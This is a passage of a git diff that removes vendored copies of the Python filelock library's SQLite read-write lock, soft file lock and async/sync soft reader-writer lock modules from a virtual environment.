"write" if mode == "read" else "read" - direction = "downgrade" if mode == "read" else "upgrade" - msg = ( - f"Cannot acquire {mode} lock on {self.lock_file} (lock id: {id(self)}): " - f"already holding a {opposite} lock ({direction} not allowed)" - ) - raise RuntimeError(msg) - if mode == "write" and (cur := threading.get_ident()) != self._write_thread_id: - msg = ( - f"Cannot acquire write lock on {self.lock_file} (lock id: {id(self)}) " - f"from thread {cur} while it is held by thread {self._write_thread_id}" - ) - raise RuntimeError(msg) - self._lock_level += 1 - return AcquireReturnProxy(lock=self) - - def _acquire_transaction_lock(self, *, blocking: bool, timeout: float) -> None: - if not blocking: - acquired = self._transaction_lock.acquire(blocking=False) - elif timeout == -1: - acquired = self._transaction_lock.acquire(blocking=True) - else: - acquired = self._transaction_lock.acquire(blocking=True, timeout=timeout) - if not acquired: - raise Timeout(self.lock_file) from None - - def _raise_if_acquiring(self, operation: Literal["acquire", "close", "release"]) -> None: - with self._internal_lock: - active_in_current_thread = threading.get_ident() in self._acquisition_thread_ids - if active_in_current_thread: # pragma: no cover - exercised in an audit callback - msg = f"Cannot {operation} ReadWriteLock on {self.lock_file} while acquisition is active in this thread" - raise RuntimeError(msg) - - def _raise_if_process_changed(self, operation_pid: int) -> None: - if _GETPID() != operation_pid or self._inherited: # pragma: forked child - msg = f"ReadWriteLock on {self.lock_file} was invalidated by fork(); construct a new instance" - raise RuntimeError(msg) - - -def _connect(database: str, *, factory: type[_ForkSafeConnection], timeout: float) -> _ForkSafeConnection: - _FORKED_DATABASES.note_sqlite_use() - return sqlite3.connect( - database, - check_same_thread=False, - factory=factory, - cached_statements=0, - timeout=timeout, - ) - - -@contextmanager -def _sqlite_transition() -> Generator[None]: - _SQLITE_TRANSITION_CONTEXT.depth += 1 - try: - yield - finally: - _SQLITE_TRANSITION_CONTEXT.depth -= 1 - - -def _abort_forked_sqlite_transition() -> None: # pragma: forked child - if _SQLITE_TRANSITION_CONTEXT.depth: - os._exit(_UNSAFE_FORK_EXIT_STATUS) # inherited SQLite handles cannot be used or closed safely - - -def _track_sqlite_use(event: str, _args: Unused) -> None: - if event == "sqlite3.connect": - _FORKED_DATABASES.note_sqlite_use() - - -def timeout_for_sqlite(timeout: float, *, blocking: bool, already_waited: float) -> int: - if blocking is False: - return 0 - - if timeout == -1: - return _MAX_SQLITE_TIMEOUT_MS - - if timeout < 0: - msg = "timeout must be a non-negative number or -1" - raise ValueError(msg) - - timeout_ms = int((max(timeout - already_waited, 0) if timeout > 0 else timeout) * 1000) - if timeout_ms > _MAX_SQLITE_TIMEOUT_MS or timeout_ms < 0: - _LOGGER.warning("timeout %s is too large for SQLite, using %s ms instead", timeout, _MAX_SQLITE_TIMEOUT_MS) - return _MAX_SQLITE_TIMEOUT_MS - return timeout_ms - - -_register_fork_object(_CONNECTION_ESCROW) -_register_fork_object(_FORKED_DATABASES) -_register_fork_class(ReadWriteLock) -if _IS_PYPY: - sys.addaudithook(_track_sqlite_use) # pragma: pypy cover -if hasattr(os, "register_at_fork"): # pragma: needs fork - os.register_at_fork(after_in_child=_abort_forked_sqlite_transition) - -__all__ = [ - "ReadWriteLock", - "timeout_for_sqlite", -] diff --git a/venv/Lib/site-packages/filelock/_soft.py b/venv/Lib/site-packages/filelock/_soft.py deleted file mode 100644 index ccb06e85a3d5c631ab1123373cdafcf3f99a5a91..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_soft.py +++ /dev/null @@ -1,260 +0,0 @@ -from __future__ import annotations - -import os -import stat -import sys -import time -from contextlib import suppress -from errno import EACCES, EEXIST, EPERM -from pathlib import Path -from typing import Final - -from ._api import BaseFileLock, _raise_grouped_errors -from ._identity import host_name, owner_is_stale, process_start_token -from ._soft_protocol import STRICT_SOFT_SENTINEL_RECORD -from ._util import break_lock_file, ensure_directory_exists, raise_on_not_writable_file, write_all - -_MALFORMED_LOCK_AGE_THRESHOLD: Final[float] = 2.0 -_MAX_LOCK_FILE_SIZE: Final[int] = 1024 -_UNLINK_MAX_RETRIES: Final[int] = 10 -_MARKER_WITH_START_TOKEN_LINE_COUNT: Final[int] = 3 - - -class SoftFileLock(BaseFileLock): - """ - Cooperative file lock based on a shared existence marker. - - Unlike :class:`UnixFileLock ` and :class:`WindowsFileLock `, this - lock does not use OS-level locking primitives. Instead, it creates the lock file with ``O_CREAT | O_EXCL`` and - treats its existence as the lock indicator. The filesystem must provide coherent exclusive creation and directory - updates to each participating process. A crash can leave the marker behind. - - The marker contains the holder's PID and hostname. A contender may remove it when it can no longer find a same-host - process with that PID. A configured :attr:`~filelock.BaseFileLock.lifetime` also permits removal based on marker - age, including while the holder remains alive. Age-based expiry can overlap protected operations and does not - provide strict mutual exclusion. - - """ - - #: Existence locks reclaim by unlinking a pathname, so an age-based lease may break one; a native inode lock cannot. - _lifetime_supported: bool = True - - #: Age-based expiry preserves historical behavior but does not provide strict mutual exclusion. - _lifetime_replacements: tuple[str, str] | None = ("StrictSoftFileLock", "SoftFileLease") - - #: An existence lock unlinks its marker to release, so it cannot promise to keep the pathname. - _preserve_lock_file_supported: bool = False - - #: An existence lock keeps protocol state in its marker, so it cannot lend the descriptor to an on_acquired hook. - _on_acquired_supported: bool = False - - def _acquire(self) -> None: - raise_on_not_writable_file(self.lock_file) - ensure_directory_exists(self.lock_file) - # O_CREAT | O_EXCL makes the create fail with EEXIST when the file already exists, so a successful open - # means this process now holds the lock. - flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_TRUNC - if (o_nofollow := getattr(os, "O_NOFOLLOW", None)) is not None: # pragma: needs o-nofollow - flags |= o_nofollow - try: - fd = os.open(self.lock_file, flags, self._open_mode()) - except OSError as exception: - if not ( - exception.errno == EEXIST or (exception.errno == EACCES and sys.platform == "win32") - ): # pragma: win32 no cover - raise - self._try_break_stale_lock() - return - self._mark_descriptor_pending(fd) - self._publish_held_marker(fd) - - def _publish_held_marker(self, fd: int) -> None: - # Publish held state only once the record is fully on disk. On any failure, including cancellation, close the - # descriptor and unlink the path only while it still names the file we opened, so a rollback never deletes a - # successor's marker that replaced ours at the same path after our lease expired. - identity: tuple[int, int] | None = None - try: - identity = _file_identity(os.fstat(fd)) - self._write_lock_info(fd) - except BaseException: - self._mark_descriptor_released() - os.close(fd) - with suppress(OSError): - if identity is not None and _file_identity(os.lstat(self.lock_file)) == identity: - Path(self.lock_file).unlink() - raise - self._mark_descriptor_owned(fd, identity) - - def _try_break_stale_lock(self) -> None: - with suppress(OSError, ValueError): - content, mtime, ino = _read_lock_file(self.lock_file) - if content == STRICT_SOFT_SENTINEL_RECORD: # pragma: needs hard-link - return - holder = _parse_lock_holder(content) - - if holder is None: - # Unparsable: wrong line count, a non-integer PID or start token, empty, oversized or not UTF-8. - # Self-heal only once the file is clearly not a half-written fresh lock (a peer between O_EXCL and - # _write_lock_info), so the brief create-then-write window is never mistaken for a stale lock. - if time.time() - mtime >= _MALFORMED_LOCK_AGE_THRESHOLD: - break_lock_file(self.lock_file, mtime, ino) - return - - if owner_is_stale(*holder): - break_lock_file(self.lock_file, mtime, ino) - - @staticmethod - def _write_lock_info(fd: int) -> None: - # No suppression: a write failure must reach the acquisition rollback so it never publishes a half-written - # marker as held state. The optional third line is this process's start token, absent when the platform - # exposes no proven start time, in which case a reader falls back to PID-only liveness. - info = f"{os.getpid()}\n{host_name()}\n" - if (token := process_start_token(os.getpid())) is not None: - info += f"{token}\n" - write_all(fd, info.encode()) - - @property - def pid(self) -> int | None: - """ - The PID of the process holding this lock, read from the lock file. - - :returns: the PID as an integer, or ``None`` if the lock file does not exist or cannot be parsed - - """ - with suppress(OSError, ValueError): - holder = _parse_lock_holder(_read_lock_file(self.lock_file)[0]) - if holder is not None: - return holder[0] - return None - - @property - def is_lock_held_by_us(self) -> bool: - """ - Whether this lock is held by the current process. - - :returns: ``True`` if the lock file exists and names the current process's PID and hostname - - """ - with suppress(OSError, ValueError): - holder = _parse_lock_holder(_read_lock_file(self.lock_file)[0]) - if holder is not None: - pid, hostname, _ = holder - return pid == os.getpid() and hostname == host_name() - return False - - def break_lock(self) -> None: - """Forcibly break the lock by removing the lock file, regardless of who holds it.""" - with suppress(OSError): - Path(self.lock_file).unlink() - - def _release(self) -> None: - fd = self._context.lock_file_fd - assert fd is not None # ruff:ignore[assert] # _release runs only while held, so the descriptor is set - # Capture the held file's identity before closing so cleanup can refuse to unlink a successor's marker. A - # supported lifetime lease lets a peer break our expired marker and create its own at this path before we - # release; unlinking by path alone would then delete the successor's lock. - identity: tuple[int, int] | None = None - with suppress(OSError): - identity = _file_identity(os.fstat(fd)) - # A failed close may already have released and recycled the descriptor number. Relinquish it before the one - # close attempt so no later release can close an unrelated descriptor that reused the same integer. - self._mark_descriptor_released() - try: - self._close_released_fd(fd, default_suppresses=False) - # Marker cleanup must also run for control-flow exceptions, and both failures must remain observable. - except BaseException as close_error: - try: - self._unlink_held_marker(identity) - except BaseException as cleanup_error: # ruff:ignore[blind-except] # preserve control-flow cleanup failures - _raise_grouped_errors( - "lock descriptor close and marker cleanup both failed", - close_error, - cleanup_error, - ) - raise - self._unlink_held_marker(identity) - - def _unlink_held_marker(self, identity: tuple[int, int] | None) -> None: - if identity is None: - return - if sys.platform == "win32": # pragma: win32 cover - self._windows_unlink_if_ours(identity) - else: # pragma: win32 no cover - with suppress(OSError): - if _file_identity(os.lstat(self.lock_file)) == identity: - Path(self.lock_file).unlink() - - def _windows_unlink_if_ours(self, identity: tuple[int, int]) -> None: # pragma: win32 cover - retry_delay = 0.001 - for attempt in range(_UNLINK_MAX_RETRIES): - # Windows doesn't immediately release file handles after close, causing EACCES/EPERM on unlink. Recheck - # identity each attempt: a failed unlink leaves a window for a successor to replace the marker at this path. - try: - if _file_identity(os.lstat(self.lock_file)) != identity: - return - Path(self.lock_file).unlink() - except OSError as exc: # ruff:ignore[try-except-in-loop] # each attempt's errno drives the retry choice - if exc.errno not in {EACCES, EPERM}: - return - if attempt < _UNLINK_MAX_RETRIES - 1: - time.sleep(retry_delay) - retry_delay *= 2 - else: - return - - -def _file_identity(st: os.stat_result) -> tuple[int, int]: - # (st_dev, st_ino) names the concrete inode behind a path, so a marker recreated at the same pathname after an - # expired lease reads as a different file. CPython populates both on Windows from the volume serial and file index. - return st.st_dev, st.st_ino - - -def _read_lock_file(path: str) -> tuple[str | None, float, int]: - # A legitimate lock file is always a regular file. Classify the path with lstat first, so any other node (symlink, - # FIFO, socket, device) is reported as a malformed lock the caller can evict, without an os.open that would follow - # a symlink, stall on a FIFO, or fail on a socket and leave acquisition wedged. The mtime and inode still flow back - # for the identity-checked stale break. lstat, not stat, so a hostile symlink is never followed onto its target. - st = os.lstat(path) - if not stat.S_ISREG(st.st_mode): # pragma: needs fifo - return None, st.st_mtime, st.st_ino - # Re-check on the opened handle: O_NOFOLLOW refuses a symlink swapped in after the lstat, O_NONBLOCK stops a FIFO - # swapped in from stalling the open, and the fstat catches any other non-regular replacement race before we read. - # The capped read stops a huge regular file (e.g. one filled from /dev/zero) from exhausting memory. - fd = os.open(path, os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0) | getattr(os, "O_NONBLOCK", 0)) - try: - st = os.fstat(fd) - if not stat.S_ISREG(st.st_mode): # pragma: no cover # only a non-regular node swapped in after the lstat - return None, st.st_mtime, st.st_ino - data = os.read(fd, _MAX_LOCK_FILE_SIZE + 1) - finally: - os.close(fd) - if len(data) <= _MAX_LOCK_FILE_SIZE: - with suppress(UnicodeDecodeError): - return data.decode("utf-8"), st.st_mtime, st.st_ino - return None, st.st_mtime, st.st_ino - - -def _parse_lock_holder(content: str | None) -> tuple[int, str, int | None] | None: - # A well-formed lock file is "\n\n" with an optional "\n" third line naming the - # holder's process start instant (a filelock 3.29 marker wrote this only on Windows; every platform writes it now). - # Anything else (wrong line count, a non-integer PID or start token, empty or unreadable content) is unparsable; - # returning None lets the caller treat it as a malformed lock to self-heal rather than a holder. - if not content or len(lines := content.strip().splitlines()) not in {2, 3}: - return None - try: - pid = int(lines[0]) - start_token = int(lines[2]) if len(lines) == _MARKER_WITH_START_TOKEN_LINE_COUNT else None - except ValueError: - return None - # A pid outside the valid range is a malformed lock, not a holder. Without this, a non-positive pid - # reaches os.kill() where 0 / -1 mean "the caller's own process group / every process" so a dead - # holder reads as alive and the lock is never reclaimed, while an oversized pid raises OverflowError - # (not OSError/ValueError) out of the self-heal path. _parse_marker_bytes already enforces this range. - if not 1 <= pid <= 2**31 - 1: - return None - return pid, lines[1], start_token - - -__all__ = [ - "SoftFileLock", -] diff --git a/venv/Lib/site-packages/filelock/_soft_protocol.py b/venv/Lib/site-packages/filelock/_soft_protocol.py deleted file mode 100644 index 490dd037ea225acd111a4826ba64acc90db9c671..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_soft_protocol.py +++ /dev/null @@ -1,9 +0,0 @@ -from __future__ import annotations - -from typing import Final - -STRICT_SOFT_SENTINEL_RECORD: Final[str] = "1\nfilelock-strict-v1\x00\n0\n" - -__all__ = [ - "STRICT_SOFT_SENTINEL_RECORD", -] diff --git a/venv/Lib/site-packages/filelock/_soft_rw/__init__.py b/venv/Lib/site-packages/filelock/_soft_rw/__init__.py deleted file mode 100644 index 0b737bcee9d257307ed31865e43023b967b116ab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_soft_rw/__init__.py +++ /dev/null @@ -1,12 +0,0 @@ -"""Cross-process and cross-host reader/writer lock on :class:`~filelock.SoftFileLock` primitives.""" - -from __future__ import annotations - -from ._async import AsyncAcquireSoftReadWriteReturnProxy, AsyncSoftReadWriteLock -from ._sync import SoftReadWriteLock - -__all__ = [ - "AsyncAcquireSoftReadWriteReturnProxy", - "AsyncSoftReadWriteLock", - "SoftReadWriteLock", -] diff --git a/venv/Lib/site-packages/filelock/_soft_rw/_async.py b/venv/Lib/site-packages/filelock/_soft_rw/_async.py deleted file mode 100644 index 875c92541b1a36736943d0fdac40a1b74d8f4618..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_soft_rw/_async.py +++ /dev/null @@ -1,272 +0,0 @@ -"""Async wrapper around :class:`SoftReadWriteLock` for use with ``asyncio``.""" - -from __future__ import annotations - -import asyncio -import functools -import os -from contextlib import asynccontextmanager -from typing import TYPE_CHECKING, ParamSpec, TypeVar - -from filelock._async import ( - _BackendOutcome, - _capture_call, - _drain_future, - _future_result, - _raise_cancelled_error, - _wait_until_done, -) - -from ._sync import SoftReadWriteLock - -if TYPE_CHECKING: - from collections.abc import AsyncGenerator, Callable - from concurrent import futures - from types import TracebackType - - from filelock._api import AcquireReturnProxy - -_P = ParamSpec("_P") -_R = TypeVar("_R") - - -class AsyncSoftReadWriteLock: - """ - Async wrapper around :class:`SoftReadWriteLock` for ``asyncio`` applications. - - The sync class's blocking filesystem operations run on a thread pool via ``loop.run_in_executor()``. The - underlying :class:`SoftReadWriteLock` handles reentrancy, upgrade/downgrade rules, fork handling, heartbeat and - TTL stale detection, and singleton behavior. - - :param lock_file: path to the lock file; sidecar state/write/readers live next to it - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately on contention - :param is_singleton: if ``True``, reuse existing :class:`SoftReadWriteLock` instances per resolved path - :param heartbeat_interval: seconds between heartbeat refreshes; default 30 s - :param stale_threshold: seconds of mtime inactivity before a marker is stale; defaults to ``3 * heartbeat_interval`` - :param poll_interval: seconds between acquire retries under contention; default 0.25 s - :param loop: event loop for ``run_in_executor``; ``None`` uses the running loop - :param executor: executor for ``run_in_executor``; ``None`` uses the default executor - - .. versionadded:: 3.27.0 - - """ - - def __init__( # ruff:ignore[too-many-arguments] # public constructor: one parameter per documented lock option - self, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - is_singleton: bool = True, - heartbeat_interval: float = 30.0, - stale_threshold: float | None = None, - poll_interval: float = 0.25, - loop: asyncio.AbstractEventLoop | None = None, - executor: futures.Executor | None = None, - ) -> None: - self._creator_pid = os.getpid() - self._lock = SoftReadWriteLock( - lock_file, - timeout, - blocking=blocking, - is_singleton=is_singleton, - heartbeat_interval=heartbeat_interval, - stale_threshold=stale_threshold, - poll_interval=poll_interval, - ) - self._loop = loop - self._executor = executor - - @property - def lock_file(self) -> str: - """The path to the lock file passed to the constructor.""" - return self._lock.lock_file - - @property - def timeout(self) -> float: - """The default timeout applied when ``acquire_read`` / ``acquire_write`` is called without one.""" - return self._lock.timeout - - @property - def blocking(self) -> bool: - """Whether ``acquire_*`` defaults to blocking; ``False`` makes contention raise immediately.""" - return self._lock.blocking - - @property - def loop(self) -> asyncio.AbstractEventLoop | None: - """The event loop used for ``run_in_executor``, or ``None`` for the running loop.""" - return self._loop - - @property - def executor(self) -> futures.Executor | None: - """The executor used for ``run_in_executor``, or ``None`` for the default executor.""" - return self._executor - - @asynccontextmanager - async def read_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> AsyncGenerator[None]: - """ - Async context manager that acquires and releases a shared read lock. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - :raises RuntimeError: if a write lock is already held on this instance - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - await self.acquire_read(timeout, blocking=blocking) - try: - yield - finally: - await self.release() - - @asynccontextmanager - async def write_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> AsyncGenerator[None]: - """ - Async context manager that acquires and releases an exclusive write lock. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - :raises RuntimeError: if a read lock is already held, or a write lock is held by a different thread - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - await self.acquire_write(timeout, blocking=blocking) - try: - yield - finally: - await self.release() - - async def acquire_read( - self, timeout: float | None = None, *, blocking: bool | None = None - ) -> AsyncAcquireSoftReadWriteReturnProxy: - """ - Acquire a shared read lock. - - See :meth:`SoftReadWriteLock.acquire_read` for reentrancy / upgrade / fork semantics. The blocking work runs - inside ``run_in_executor`` so other coroutines on the same loop keep progressing while this call waits. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - :returns: a proxy usable as an async context manager to release the lock - - :raises RuntimeError: if a write lock is already held, if this instance was invalidated by - :func:`os.fork`, or if :meth:`close` was called - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - self._raise_if_inherited() - await self._run_acquire(functools.partial(self._lock.acquire_read, timeout, blocking=blocking)) - return AsyncAcquireSoftReadWriteReturnProxy(lock=self) - - async def acquire_write( - self, timeout: float | None = None, *, blocking: bool | None = None - ) -> AsyncAcquireSoftReadWriteReturnProxy: - """ - Acquire an exclusive write lock. - - See :meth:`SoftReadWriteLock.acquire_write` for the two-phase writer-preferring semantics. The blocking work - runs inside ``run_in_executor``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - :returns: a proxy usable as an async context manager to release the lock - - :raises RuntimeError: if a read lock is already held, if a write lock is held by a different thread, if - this instance was invalidated by :func:`os.fork`, or if :meth:`close` was called - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - self._raise_if_inherited() - await self._run_acquire(functools.partial(self._lock.acquire_write, timeout, blocking=blocking)) - return AsyncAcquireSoftReadWriteReturnProxy(lock=self) - - async def release(self, *, force: bool = False) -> None: - """ - Release one level of the current lock. - - :param force: if ``True``, release the lock completely regardless of the current lock level - - :raises RuntimeError: if no lock is currently held and *force* is ``False`` - - """ - if self._creator_pid == os.getpid(): - await self._run(self._lock.release, force=force) - - async def close(self) -> None: - """Release any held lock and release the underlying filesystem resources. Idempotent.""" - if self._creator_pid == os.getpid(): - await self._run(self._lock.close) - - def _raise_if_inherited(self) -> None: - if self._creator_pid != os.getpid(): # pragma: forked child - msg = f"AsyncSoftReadWriteLock on {self.lock_file} was inherited across fork; construct a new instance" - raise RuntimeError(msg) - - async def _run_acquire(self, acquire: Callable[[], AcquireReturnProxy]) -> None: - # run_in_executor cannot recall work the pool already started, so canceling the caller does not stop the sync - # acquire: it still creates its marker, sets the hold, and starts the heartbeat, which keeps the marker fresh - # forever so no peer on any host can evict it as stale. Wait the submitted call out and hand the claim back, - # the way AsyncReadWriteLock does. - acquire_future = self._submit(acquire) - try: - await _wait_until_done(acquire_future) - except asyncio.CancelledError as cancellation: - try: - await _drain_future(acquire_future) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - try: - await _drain_future(self._submit(self._lock.release)) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - raise - _future_result(acquire_future) - - async def _run(self, func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> _R: - # A canceled release or close is already running on the pool thread; drain it so its outcome is observed - # instead of finishing unwatched, then let the cancellation through. - future = self._submit(func, *args, **kwargs) - try: - await _wait_until_done(future) - except asyncio.CancelledError as cancellation: - try: - await _drain_future(future) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - raise - return _future_result(future) - - def _submit( - self, func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs - ) -> asyncio.Future[_BackendOutcome[_R]]: - loop = self._loop or asyncio.get_running_loop() - return loop.run_in_executor(self._executor, _capture_call, functools.partial(func, *args, **kwargs)) - - -class AsyncAcquireSoftReadWriteReturnProxy: - """Async context-aware object that releases an :class:`AsyncSoftReadWriteLock` on exit.""" - - def __init__(self, lock: AsyncSoftReadWriteLock) -> None: - self.lock = lock - - async def __aenter__(self) -> AsyncSoftReadWriteLock: - return self.lock - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - await self.lock.release() - - -__all__ = [ - "AsyncAcquireSoftReadWriteReturnProxy", - "AsyncSoftReadWriteLock", -] diff --git a/venv/Lib/site-packages/filelock/_soft_rw/_sync.py b/venv/Lib/site-packages/filelock/_soft_rw/_sync.py deleted file mode 100644 index 136bd614eb238e9e4bf1033181d2f83507b7267d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_soft_rw/_sync.py +++ /dev/null @@ -1,985 +0,0 @@ -"""Cross-process and cross-host reader/writer lock built on :class:`SoftFileLock` primitives.""" - -from __future__ import annotations - -import atexit -import hmac -import os -import re -import secrets -import socket -import stat -import sys -import threading -import time -import uuid -from contextlib import closing, contextmanager, suppress -from dataclasses import dataclass -from pathlib import Path -from typing import TYPE_CHECKING, Final, Literal -from weakref import WeakValueDictionary - -from filelock._api import ( - AcquireReturnProxy, - _ensure_current_process, - _fork_transition, - _raise_grouped_errors, - _register_fork_class, - _register_fork_object, - _register_owned_descriptor, - _unregister_owned_descriptor, -) -from filelock._error import Timeout -from filelock._soft import SoftFileLock -from filelock._util import ensure_directory_exists, touch, write_all - -if TYPE_CHECKING: - from collections.abc import Callable, Generator - - -_Mode = Literal["read", "write"] -_BREAK_SUFFIX: Final[str] = ".break" -_MAX_MARKER_SIZE: Final[int] = 1024 -_O_NOFOLLOW: Final[int] = getattr(os, "O_NOFOLLOW", 0) -_O_NONBLOCK: Final[int] = getattr(os, "O_NONBLOCK", 0) -# dirfd-relative I/O is a Unix-only optimization; Windows cannot ``os.open()`` a directory at all, and -# its ``os`` module skips dir_fd support entirely. When disabled, callers fall back to full-path ops. -_SUPPORTS_DIR_FD: Final[bool] = sys.platform != "win32" and os.open in os.supports_dir_fd - -_ALL_INSTANCES: Final[WeakValueDictionary[int, SoftReadWriteLock]] = WeakValueDictionary() -_ALL_INSTANCES_LOCK: threading.Lock = threading.Lock() -_SINGLETONS_UNDER_CONSTRUCTION: Final[set[Path]] = set() - - -class _SoftRWMeta(type): - _instances: WeakValueDictionary[Path, SoftReadWriteLock] - _instances_lock: threading.RLock - - def __call__( # ruff:ignore[too-many-arguments] # forwards the public constructor's documented parameters - cls, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - is_singleton: bool = True, - heartbeat_interval: float = 30.0, - stale_threshold: float | None = None, - poll_interval: float = 0.25, - ) -> SoftReadWriteLock: - _ensure_current_process() - if not is_singleton: - return super().__call__( - lock_file, - timeout, - blocking=blocking, - is_singleton=is_singleton, - heartbeat_interval=heartbeat_interval, - stale_threshold=stale_threshold, - poll_interval=poll_interval, - ) - - normalized = Path(lock_file).resolve() - with cls._instances_lock: - instance = cls._instances.get(normalized) - if instance is None: - if normalized in _SINGLETONS_UNDER_CONSTRUCTION: # pragma: needs fork - msg = f"Singleton lock construction is already active for {lock_file!s}" - raise RuntimeError(msg) - construction_pid = os.getpid() - _SINGLETONS_UNDER_CONSTRUCTION.add(normalized) - try: - instance = super().__call__( - lock_file, - timeout, - blocking=blocking, - is_singleton=is_singleton, - heartbeat_interval=heartbeat_interval, - stale_threshold=stale_threshold, - poll_interval=poll_interval, - ) - finally: - _SINGLETONS_UNDER_CONSTRUCTION.discard(normalized) - if os.getpid() != construction_pid: # pragma: needs fork - msg = "Lock construction cannot continue after fork; construct a new lock in the child" - raise RuntimeError(msg) - cls._instances[normalized] = instance - elif instance.timeout != timeout or instance.blocking != blocking: - msg = ( - f"Singleton lock created with timeout={instance.timeout}, blocking={instance.blocking}," - f" cannot be changed to timeout={timeout}, blocking={blocking}" - ) - raise ValueError(msg) - return instance - - -class SoftReadWriteLock(metaclass=_SoftRWMeta): - """ - Cross-process and cross-host reader/writer lock built on :class:`SoftFileLock` primitives. - - Use this class instead of :class:`~filelock.ReadWriteLock` when the lock file lives on a network - filesystem (NFS, Lustre with ``-o flock``, HPC cluster shared storage). ``ReadWriteLock`` is backed - by SQLite and cannot run on NFS because SQLite's ``fcntl`` locking is unreliable there. - - Layout on disk for a lock at ``foo.lock``: - - - ``foo.lock.state`` — a :class:`SoftFileLock` taken only during state transitions (microseconds). - - ``foo.lock.write`` — writer marker; its presence means a writer is claiming or holding the lock. - - ``foo.lock.readers/..`` — one file per reader. - - Each marker stores a random token (``secrets.token_hex(16)``), the holder's pid, and the holder's - hostname. A daemon heartbeat thread refreshes ``mtime`` on every held marker. A marker whose mtime - has not advanced in ``stale_threshold`` seconds may be evicted by any process on any host, giving - correct behavior when a compute node crashes with a lock held. - - Writer acquire is two-phase and writer-preferring: phase 1 claims ``.write`` (blocking any new - reader), phase 2 waits for existing readers to drain. Writer starvation is impossible. - - Reentrancy, upgrade/downgrade rules, thread pinning, and singleton caching by resolved path match - :class:`~filelock.ReadWriteLock`. - - Forking invalidates the inherited instance in the child so the child cannot double-own the lock with its parent; - ``release()`` on that instance is a no-op, and the child must construct a new instance if it needs a lock. - - Trust boundary: protects against same-UID non-cooperating processes (one host or cross-host) and - same-host different-UID users via ``0o600`` / ``0o700`` permissions. Does not protect against root - compromise, NTP tampering on same-UID cross-host nodes, or multi-tenant mounts where hostile - co-tenants share the UID. - - :param lock_file: path to the lock file; sidecar state/write/readers live next to it - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately on contention - :param is_singleton: if ``True``, reuse existing instances for the same resolved path - :param heartbeat_interval: seconds between heartbeat refreshes; default 30 s - :param stale_threshold: seconds of ``mtime`` inactivity before a marker is stale; defaults to - ``3 * heartbeat_interval``, matching etcd's ``LeaseKeepAlive`` convention - :param poll_interval: seconds between acquire retries under contention; default 0.25 s - - .. versionadded:: 3.27.0 - - """ - - _instances: WeakValueDictionary[Path, SoftReadWriteLock] = WeakValueDictionary() - _instances_lock = threading.RLock() - - def __init__( # ruff:ignore[too-many-arguments] # public constructor: one parameter per documented lock option - self, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - is_singleton: bool = True, # ruff:ignore[unused-method-argument] # consumed by _SoftRWMeta.__call__ - heartbeat_interval: float = 30.0, - stale_threshold: float | None = None, - poll_interval: float = 0.25, - ) -> None: - self._creator_pid = os.getpid() - if heartbeat_interval <= 0: - msg = f"heartbeat_interval must be positive, got {heartbeat_interval}" - raise ValueError(msg) - if stale_threshold is None: - stale_threshold = heartbeat_interval * 3 - if stale_threshold <= heartbeat_interval: - msg = f"stale_threshold must exceed heartbeat_interval ({stale_threshold} <= {heartbeat_interval})" - raise ValueError(msg) - if poll_interval <= 0: - msg = f"poll_interval must be positive, got {poll_interval}" - raise ValueError(msg) - - self.lock_file: str = os.fspath(lock_file) - self.timeout: float = timeout - self.blocking: bool = blocking - self.heartbeat_interval: float = heartbeat_interval - self.stale_threshold: float = stale_threshold - self.poll_interval: float = poll_interval - - self._paths = _Paths( - state=f"{self.lock_file}.state", - write=f"{self.lock_file}.write", - readers=f"{self.lock_file}.readers", - ) - ensure_directory_exists(self.lock_file) - self._locks = _Locks( - internal=threading.Lock(), - transaction=threading.Lock(), - state=SoftFileLock(self._paths.state, timeout=-1), - ) - self._readers_dir_fd: int | None = None - self._readers_dir_fd_token: int | None = None - self._hold: _Hold | None = None - self._closed: bool = False - - with _ALL_INSTANCES_LOCK: - _ALL_INSTANCES[id(self)] = self - _register_fork_object(self) - - @classmethod - def _reset_class_after_fork(cls) -> None: # pragma: forked child - global _ALL_INSTANCES_LOCK # ruff:ignore[global-statement] # rebinds the module lock to a fresh one in the fork child - _ALL_INSTANCES_LOCK = threading.Lock() - cls._instances = WeakValueDictionary() - cls._instances_lock = threading.RLock() - _SINGLETONS_UNDER_CONSTRUCTION.clear() - - @contextmanager - def read_lock(self, timeout: float | None = 